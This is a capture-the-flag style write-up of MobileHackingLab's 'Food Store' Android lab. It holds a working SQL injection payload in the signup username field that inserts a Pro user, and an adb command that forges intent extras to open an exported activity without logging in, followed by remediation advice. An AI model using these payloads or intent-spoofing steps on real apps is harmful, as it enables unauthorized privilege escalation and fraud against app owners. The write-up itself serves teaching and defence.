Introduction
Food Store is an Android lab from MobileHackingLab where you exploit a SQL Injection vulnerability, allowing you to register as a Pro user, bypassing standard user restrictions.
Methodology
Explore application
Sign up
The sign-up screen allows you to create a new user account by specifying a username, password and address. After signing up, a toast message is received to indicate that the sign-up was successful.
Login
The sign-in screen allows you to sign in using a username and password. Once you have successfully signed in, you will be presented with a product listing screen.
Products
The product listing screen displays user information, and allows you to order products using credits. A normal account has a limited amount of credits to order items with.
Identify vulnerability
The lab description already provided us with a good hint on where the problem might be. According to this, there is a SQL injection vulnerability in the registration code. Let’s explore the source code and try to find this.
There are 3 activities found in the AndroidManifest file:
<activity
android:name="com.mobilehackinglab.foodstore.Signup"
android:exported="false"/>
<activity
android:name="com.mobilehackinglab.foodstore.MainActivity"
android:exported="true"/>
<activity
android:name="com.mobilehackinglab.foodstore.LoginActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
Since we are interested in the sign-up process, we will focus on the Signup
activity.
After reading through the code and looking at the validation methods, we reach the section we are interested in:
User newUser = new User(i, obj, obj2, editText2.getText().toString(), false, 1, null);
dbHelper.addUser(newUser);
Toast.makeText(this$0, "User Registered Successfully", 0).show();
return;
Reading the DBHelper class gives us some more information about the database structure:
@Override
public void onCreate(SQLiteDatabase db) {
Intrinsics.checkNotNullParameter(db, "db");
db.execSQL("CREATE TABLE users (\n id INTEGER PRIMARY KEY AUTOINCREMENT,\n username TEXT,\n password TEXT,\n address TEXT,\n isPro INTEGER\n \n \n)");
}
And also the addUser
method, which contains the vulnerable SQL code:
public final void addUser(User user) {
Intrinsics.checkNotNullParameter(user, "user");
SQLiteDatabase db = getWritableDatabase();
byte[] bytes = user.getPassword().getBytes(Charsets.UTF_8);
Intrinsics.checkNotNullExpressionValue(bytes, "this as java.lang.String).getBytes(charset)");
String encodedPassword = Base64.encodeToString(bytes, 0);
String Username = user.getUsername();
byte[] bytes2 = user.getAddress().getBytes(Charsets.UTF_8);
Intrinsics.checkNotNullExpressionValue(bytes2, "this as java.lang.String).getBytes(charset)");
String encodedAddress = Base64.encodeToString(bytes2, 0);
String sql = "INSERT INTO users (username, password, address, isPro) VALUES ('" + Username + "', '" + encodedPassword + "', '" + encodedAddress + "', 0)";
db.execSQL(sql);
db.close();
}
The above code creates a new entry in the users table with the following values:
- Username
- Base64 encoded password
- Base64 encoded address
- isPro is set to 0, which evaluates as false
So for our user, the values are as follows:
- Username:
test
- Password:
dGVzdA==
(base64 encodedtest
value) - Address:
dGVzdCBhZGRyZXNz
(base64 encodedtest address
value) - isPro: 0 (false)
Which translates into the following SQL statement:
INSERT INTO users (username, password, address, isPro) VALUES ('test', 'dGVzdA==', 'dGVzdCBhZGRyZXNz', 0)
We can also pull the database from the device and confirm this:
adb pull /data/data/com.mobilehackinglab.foodstore/databases/userdatabase.db
# /data/data/com.mobilehackinglab.foodstore/databases/userdatabase.db: 1 file pulled, 0 skipped. 0.9 MB/s (20480 bytes in 0.021s)
adb pull /data/data/com.mobilehackinglab.foodstore/databases/userdatabase.db-journal
# /data/data/com.mobilehackinglab.foodstore/databases/userdatabase.db-journal: 1 file pulled, 0 skipped.
sqlite3
# SQLite version 3.46.1 2024-08-13 09:16:08
# Enter ".help" for usage hints.
# Connected to a transient in-memory database.
# Use ".open FILENAME" to reopen on a persistent database.
sqlite> .open userdatabase.db
sqlite> .tables
# android_metadata users
sqlite> SELECT * FROM users;
1|test|dGVzdA==
|dGVzdCBhZGRyZXNz
|0
sqlite>
For us to create a pro user, we would need to inject values into the SQL statement in such a way that isPro is set to 1
instead of 0
.
Create payload
To get some visibility of the SQL queries that the application executes, we can use Frida.
There is a nice public Frida codeshare script that hooks into various sqlite functions and prints out the parameters that they are called with.
Adding a new user:
frida -U --codeshare ninjadiary/sqlite-database -f com.mobilehackinglab.foodstore
# Spawned `com.mobilehackinglab.foodstore`. Resuming main thread!
[sdk gphone64 x86 64::com.mobilehackinglab.foodstore ]-> [*] SQLiteDatabase.exeqSQL called with query: INSERT INTO users (username, password, address, isPro) VALUES ('newuser', 'bmV3dXNlcg==
', 'bmV3dXNlciBhZGRyZXNz
', 0)
Attempt 1 - Failed
Adding a new user with the following values:
- Username:
randomuser', '', '', 1)--
- Password:
randomuser
- Address:
randomuser address
Should result in the following query:
INSERT INTO users (username, password, address, isPro) VALUES ('randomuser', '', '', 1)-- ', 'cmFuZG9tdXNlcg==', 'cmFuZG9tdXNlciBhZGRyZXNz', 0)
Which works fine if you execute it directly in a sqlite3 client:
emu64xa:/data/data/com.mobilehackinglab.foodstore/databases # sqlite3 userdatabase.db
-- SQLite version 3.39.2 2022-07-21 15:24:47
-- Enter ".help" for usage hints.
sqlite> INSERT INTO users (username, password, address, isPro) VALUES ('randomuser', '', '', 1)-- ', 'cmFuZG9tdXNlcg==', 'cmFuZG9tdXNlciBhZGRyZXNz', 0)
...> ;
sqlite> SELECT * FROM users;
-- 1|randomuser|||1
sqlite>
But crashes when entering the values inside of the application:
[sdk gphone64 x86 64::com.mobilehackinglab.foodstore ]-> [*] SQLiteDatabase.exeqSQL called with query: INSERT INTO users (username, password, address, isPro) VALUES ('randomuser', '', '', 1)--', 'cmFuZG9tdXNlcg==
', 'cmFuZG9tdXNlciBhZGRyZXNz
', 0)
[sdk gphone64 x86 64::com.mobilehackinglab.foodstore ]-> Process crashed: android.database.sqlite.SQLiteException: near "', '": syntax error (code 1 SQLITE_ERROR): , while compiling: INSERT INTO users (username, password, address, isPro) VALUES ('randomuser', '', '', 1)--', 'cmFuZG9tdXNlcg==
The stack trace of the crash mentions prepared statements, which makes me wonder if Android does not internally perform some validation on the queries.
***
FATAL EXCEPTION: main
Process: com.mobilehackinglab.foodstore, PID: 6757
android.database.sqlite.SQLiteException: near "', '": syntax error (code 1 SQLITE_ERROR): , while compiling: INSERT INTO users (username, password, address, isPro) VALUES ('randomuser', '', '', 1)--', 'cmFuZG9tdXNlcg==
', 'cmFuZG9tdXNlciBhZGRyZXNz
', 0)
at android.database.sqlite.SQLiteConnection.nativePrepareStatement(Native Method)
at android.database.sqlite.SQLiteConnection.acquirePreparedStatement(SQLiteConnection.java:1069)
at android.database.sqlite.SQLiteConnection.prepare(SQLiteConnection.java:673)
at android.database.sqlite.SQLiteSession.prepare(SQLiteSession.java:590)
at android.database.sqlite.SQLiteProgram.<init>(SQLiteProgram.java:62)
at android.database.sqlite.SQLiteStatement.<init>(SQLiteStatement.java:34)
at android.database.sqlite.SQLiteDatabase.executeSql(SQLiteDatabase.java:2088)
at android.database.sqlite.SQLiteDatabase.execSQL(SQLiteDatabase.java:2010)
at android.database.sqlite.SQLiteDatabase.execSQL(Native Method)
at com.mobilehackinglab.foodstore.DBHelper.addUser(DBHelper.kt:42)
at com.mobilehackinglab.foodstore.Signup.onCreate$lambda$0(Signup.kt:41)
at com.mobilehackinglab.foodstore.Signup.$r8$lambda$XJHS3fiTQDQ_z9YBC1-qmBhbVY4(Unknown Source:0)
at com.mobilehackinglab.foodstore.Signup$$ExternalSyntheticLambda0.onClick(Unknown Source:2)
at android.view.View.performClick(View.java:7659)
at com.google.android.material.button.MaterialButton.performClick(MaterialButton.java:1218)
at android.view.View.performClickInternal(View.java:7636)
at android.view.View.-$$Nest$mperformClickInternal(Unknown Source:0)
at android.view.View$PerformClick.run(View.java:30156)
at android.os.Handler.handleCallback(Handler.java:958)
at android.os.Handler.dispatchMessage(Handler.java:99)
at android.os.Looper.loopOnce(Looper.java:205)
at android.os.Looper.loop(Looper.java:294)
at android.app.ActivityThread.main(ActivityThread.java:8177)
at java.lang.reflect.Method.invoke(Native Method)
at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:552)
at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:971)
***
Attempt 2 - Success
The first attempt was a failure; let’s try something different.
Instead of injecting new values and commenting out the original values, I am going to try and inject two sets of values.
If this works, it will allow us to add another user as well as the original user whose details were entered into the form.
For this to work we need to figure out how to add multiple VALUES ()
clauses to an INSERT statement in sqlite3.
sqlite> INSERT INTO users (username, password, address, isPro) VALUES ('admin', 'YWRtaW4=', 'YWRtaW4gYWRkcmVzcw==', 1), ('test', 'dGVzdA==', 'dGVzdCBhZGRyZXNz', 0)
sqlite> SELECT * FROM users;
-- 1|admin|YWRtaW4=|YWRtaW4gYWRkcmVzcw==|1
-- 2|test|dGVzdA==|dGVzdCBhZGRyZXNz|0
Great! Let’s create payload that will inject required values into the Username
field to achieve the above query:
- Username:
admin', 'YWRtaW4=', 'YWRtaW4gYWRkcmVzcw==', 1), ('test
- Password:
test
- Address:
test address
Which should result in the following query:
INSERT INTO users (username, password, address, isPro) VALUES ('admin', 'YWRtaW4=', 'YWRtaW4gYWRkcmVzcw==', 1), ('test', 'dGVzdA==', 'dGVzdCBhZGRyZXNz', 0)
Exploit vulnerability
Let’s see if our injection is successful through the application.
The final payload is: admin', 'YWRtaW4=', 'YWRtaW4gYWRkcmVzcw==', 1), ('test
Let’s also clear the mobile application data to get a fresh database to verify the results.
And the output query:
[sdk gphone64 x86 64::com.mobilehackinglab.foodstore ]-> [*] SQLiteDatabase.exeqSQL called with query: INSERT INTO users (username, password, address, isPro) VALUES ('admin', 'YWRtaW4=', 'YWRtaW4gYWRkcmVzcw==', 1), ('test', 'dGVzdA==
', 'dGVzdCBhZGRyZXNz
', 0)
It looks like it worked. Let’s verify on the actual database:
emu64xa:/data/data/com.mobilehackinglab.foodstore/databases # sqlite3 userdatabase.db
# SQLite version 3.39.2 2022-07-21 15:24:47
# Enter ".help" for usage hints.
sqlite> SELECT * FROM users;
# 1|admin|YWRtaW4=|YWRtaW4gYWRkcmVzcw==|1
# 2|test|dGVzdA==
# |dGVzdCBhZGRyZXNz
# |0
And then for the final test - can we log in with the new user?
Success! We are logged in with the new admin
user who has the Pro flag enabled.
Extra: Login bypass
While analysing the source code, I noticed that the MainActivity, which is supposed to only be accessible after signing in, was exported.
<activity
android:name="com.mobilehackinglab.foodstore.MainActivity"
android:exported="true"/>
Upon further investigation, I noticed that the MainActivity retrieves information from the Intent bundle.
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
/* ... */
String username = getIntent().getStringExtra("USERNAME");
if (username == null) {
username = "Guest";
}
this.userCredit = getIntent().getIntExtra("USER_CREDIT", 0);
boolean isProUser = getIntent().getBooleanExtra("IS_PRO_USER", false);
/* ... */
String stringExtra = getIntent().getStringExtra("USER_ADDRESS");
if (stringExtra == null) {
stringExtra = "Unknown address";
}
this.userAddress = stringExtra;
/* ... */
}
In the LoginActivity, after a successful login, we can see this information being added to the Intent bundle before starting the MainActivity.
public static final void onCreate$lambda$1(EditText $usernameEditText, EditText $passwordEditText, LoginActivity this$0, View it) {
/* ... */
Toast.makeText(this$0, "Login Successful", 0).show();
int credit = user.isPro() ? 10000 : 100;
Intent intent = new Intent(this$0, (Class<?>) MainActivity.class);
intent.putExtra("USERNAME", inputUsername);
intent.putExtra("USER_CREDIT", credit);
intent.putExtra("IS_PRO_USER", user.isPro());
intent.putExtra("USER_ADDRESS", user.getAddress());
this$0.startActivity(intent);
this$0.finish();
}
Which means we will be able to launch this activity with the same parameters without logging in because the MainActivity is exported and does not validate the Intent bundle data.
adb shell am start -n "com.mobilehackinglab.foodstore/.MainActivity" --es "USERNAME" "SneakySneaky" --es "USER_ADDRESS" "Online" --ez "IS_PRO_USER" "True" --ei "USER_CREDIT" "10000"
Success! We are able to open the main product screen as a “Pro” user, with the amount of credits we specified, and order items to be delivered to the address we specified.
Remediation
SQL injection
One way of avoiding SQL injection attacks is by using PreparedStatements.
This method allows you to specify a query structure and then manually map which values should be assigned to which columns.
It also validates that the values mapped to the columns contain the correct data type, which is where the actual safety comes into play.
If you try to use a malicious value in the input field, it will throw an Exception and not execute the query.
Login bypass
Activities should only be exported if there is a very specific reason for it. In recent versions of Android, the exported
flag will default to false if it is not specific, which is great.
If an Activity is exported, it is safe to assume that anything will be able to open it, so extra validation needs to be taken into account.
In the current application workflow, there is no need to export the MainActivity because it should only be opened after successfully logging in.
Setting the exported
flag to false in the AndroidManifest on the MainActivity will allow the LoginActivity to still launch it and prevent other applications / Intents from launching it.
Final thoughts
The SQL injection vulnerability was easy to detect, but a bit tricky to exploit.
I found it interesting that my origianl payload query behaved differently in the sqlite3 client and the Android application.
It was a nice surprise to discover the exported Activity that just blindly trusted all values sent to it.
Never trust user-supplied input. Don’t use raw SQL queries; replace them with PreparedStatements. Do not export your Activities unless necessary, and remember to add extra validation for intent data.